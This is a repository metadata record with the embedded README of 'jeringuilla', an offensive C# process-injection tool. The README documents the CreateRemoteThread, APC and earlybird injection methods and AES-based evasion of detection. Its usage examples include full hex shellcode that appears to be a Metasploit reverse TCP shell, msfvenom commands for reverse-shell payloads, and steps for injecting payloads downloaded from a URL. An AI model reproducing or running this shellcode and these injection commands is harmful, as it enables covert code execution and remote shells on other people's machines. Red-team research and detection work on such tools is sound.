{"id":39380411,"url":"https://github.com/ricardojoserf/jeringuilla","last_synced_at":"2026-01-18T03:00:06.470Z","repository":{"id":178622084,"uuid":"661043769","full_name":"ricardojoserf/jeringuilla","owner":"ricardojoserf","description":"Process injection framework in C#. It uses dynamic function loading using delegates and AES-encryption for strings and payloads","archived":false,"fork":false,"pushed_at":"2024-02-12T11:42:40.000Z","size":161,"stargazers_count":7,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2024-05-01T13:11:41.216Z","etag":null,"topics":["earlybird","process-injection","process-injector"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ricardojoserf.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2023-07-01T16:00:57.000Z","updated_at":"2024-05-01T13:11:41.217Z","dependencies_parsed_at":"2024-02-12T12:51:28.254Z","dependency_job_id":null,"html_url":"https://github.com/ricardojoserf/jeringuilla","commit_stats":null,"previous_names":["ricardojoserf/jeringuilla"],"tags_count":2,"template":false,"template_full_name":null,"purl":"pkg:github/ricardojoserf/jeringuilla","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ricardojoserf%2Fjeringuilla","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ricardojoserf%2Fjeringuilla/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ricardojoserf%2Fjeringuilla/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ricardojoserf%2Fjeringuilla/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ricardojoserf","download_url":"https://codeload.github.com/ricardojoserf/jeringuilla/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ricardojoserf%2Fjeringuilla/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28528025,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-18T00:39:45.795Z","status":"online","status_checked_at":"2026-01-18T02:00:07.578Z","response_time":98,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["earlybird","process-injection","process-injector"],"created_at":"2026-01-18T03:00:05.511Z","updated_at":"2026-01-18T03:00:06.355Z","avatar_url":"https://github.com/ricardojoserf.png","language":"C#","funding_links":[],"categories":[],"sub_categories":[],"readme":"# jeringuilla\n\nTool for easy process injection. It implements several types of process injection and uses dynamic function loading using delegates and AES to encrypt all the strings, so the function names are not easiliy retrievable.\n- Process listing: By process name or process owner\n- Payload: As input argument or using a url to download it. It can be AES-encrypted using payloadEncryptor.exe\n- Process injection via:\n    - Type \"inject-crt\": OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread\n    - Type \"inject-apc\": OpenProcess + VirtualAllocEx + WriteProcessMemory + OpenThread + QueueUserAPC \n    - Type \"earlybird\":  CreateProcess + VirtualAllocEx + WriteProcessMemory + ResumeThread\n\n\nThe program does not use the GetProcAddress and GetModuleHandle, it uses custom implementations for these functions ([GetProcAddress](https://github.com/ricardojoserf/GetProcAddress) and [GetModuleHandle](https://github.com/ricardojoserf/GetModuleHandle)). The only API calls are NtReadVirtualMemory and NtQueryInformationProcess and the function names are obfuscated using AES encryption. \n\n--------------------------------------\n\n### List process\n\nOption \"list\" to enumerate all processes or filter by name or owner:\n\n```\njeringuilla.exe list [ all | PROCESS_NAME | PROCESS_OWNER ]\n```\n\nExample - List all processes:\n\n```\njeringuilla.exe list all\n```\n\nExample - List processes with a specific name (\"explorer\") or process owner (\"DESKTOP-MA54241\\ricardo\"):\n\n```\njeringuilla.exe list explorer\njeringuilla.exe list \"DESKTOP-MA54241\\ricardo\"\n```\n![img1](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/jeringa/Screenshot_1.png)\n\n--------------------------------------\n\n###  Injection type \"inject-crt\" (OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)\n\nYou can use the process name and owner, or the PID. The payload can be in HEX format or a url to download it, if not the program asks for a value/url.\n\n```\njeringuilla.exe inject-crt [ (PROCESS_NAME PROCESS_OWNER) | PROCESS_PID ]  [ HEXADECIMAL_PAYLOAD | URL ]\n```\n\nExample - Injection using process name, process owner and payload in HEX format:\n\n```\njeringuilla.exe inject-crt explorer \"DESKTOP-MA54241\\ricardo\" fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200115c7f00000141544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5\n```\n\n![img2](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/jeringa/Screenshot_2.png)\n\nExample - Injection using PID and a url to download the payload:\n\n```\njeringuilla.exe inject-crt 9408 http://127.0.0.1/payload.bin\n```\n![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/jeringa/Screenshot_3.png)\n\n--------------------------------------\n\n###  Injection type \"inject-apc\" (OpenProcess + VirtualAllocEx + WriteProcessMemory + OpenThread + QueueUserAPC)\n\nYou can use the process name and owner, or the PID. The payload can be in HEX format or a url to download it, if not the program asks for a value/url. \n\nFor this one you must wait until the thread enters in alertable state, you can try it using Notepad and the option \"Save as\".\n\n```\njeringuilla.exe inject-apc [ (PROCESS_NAME PROCESS_OWNER) | PROCESS_PID ] [ HEXADECIMAL_PAYLOAD | URL]\n```\n\nExample - Injection using process name, process owner and payload in HEX format:\n\n```\njeringuilla.exe inject-apc explorer \"DESKTOP-MA54241\\ricardo\" fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200115c7f00000141544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5\n```\n\nExample - Injection using PID and a url to download the payload:\n\n```\njeringuilla.exe inject-apc 1234 http://127.0.0.1/payload.bin\n```\n\n\n--------------------------------------\n\n###  Injection type \"earlybird\" (CreateProcess + VirtualAllocEx + WriteProcessMemory + ResumeThread)\n\nYou only set the program path. The payload can be in HEX format or a url to download it, if not the program asks for a payload or url.\n\n```\njeringuilla.exe earlybird PROGRAM_PATH [ HEXADECIMAL_PAYLOAD | URL ]\n```\n\nExample - Injection using program path and payload in HEX format:\n\n```\njeringuilla.exe earlybird \"c:\\windows\\system32\\notepad.exe\" fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200115c7f00000141544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5\n```\n\n![img4](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/jeringa/Screenshot_4.png)\n\nIf you are using the 32-bit binary you need a 32-bit payload:\n\n```\njeringuilla.exe earlybird \"c:\\windows\\system32\\notepad.exe\" fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a05687f000001680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbe01d2a0a68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5\n```\n\nExample - Injection using program path and a url to download the payload:\n\n```\njeringuilla.exe earlybird \"c:\\windows\\system32\\calc.exe\" http://127.0.0.1/payload.bin\n```\n\n--------------------------------------\n\n### Payload generation\n\nYou can use your custom payloads or use Msfvenom. In case you use the HEX payload option you must delete all \"\\x\" or similar characters. If you use the url option the payload must be in RAW format.\n\nExample - Create payload in HEX format using Msfvenom with:\n\n```\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c EXITFUNC=thread | grep '\\x' | tr -d '\"\\n\\\\x;'\n```\n\nExample - Create payload in RAW format for url option using Msfvenom with:\n\n```\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 EXITFUNC=thread -f raw \u003e payload.bin\n```\n\n--------------------------------------\n\n### AES Encryption\n\nBoth the HEX and RAW payloads in previous examples can be encrypted using AES with payloadEncryptor.exe. \n\nTo change the AES password and IV you must update these variables in both jeringuilla and payloadEncryptor code:\n\n```\nstatic String payload_aes_password = \"ricardojoserf123ricardojoserf123\";\nstatic String payload_aes_iv = \"jeringa1jeringa1\";\n``` \n\nTo encrypt a HEX payload:\n\n```\npayloadEncryptor.exe hex HEXADECIMAL_PAYLOAD\n```\n\nExample:\n\n```\npayloadEncryptor.exe hex fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200115c7f00000141544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5\n```\n\n![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/jeringa/Screenshot_6.png)\n\n![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/jeringa/Screenshot_7.png)\n\n\nTo encrypt a RAW payload:\n\n```\npayloadEncryptor.exe raw INPUTFILE OUTPUTFILE\n```\n\nExample:\n\n```\npayloadEncryptor.exe raw payload.bin payload_encrypted.bin\n```\n\n![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/jeringa/Screenshot_8.png)\n\n![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/jeringa/Screenshot_9.png)\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fricardojoserf%2Fjeringuilla","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fricardojoserf%2Fjeringuilla","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fricardojoserf%2Fjeringuilla/lists"}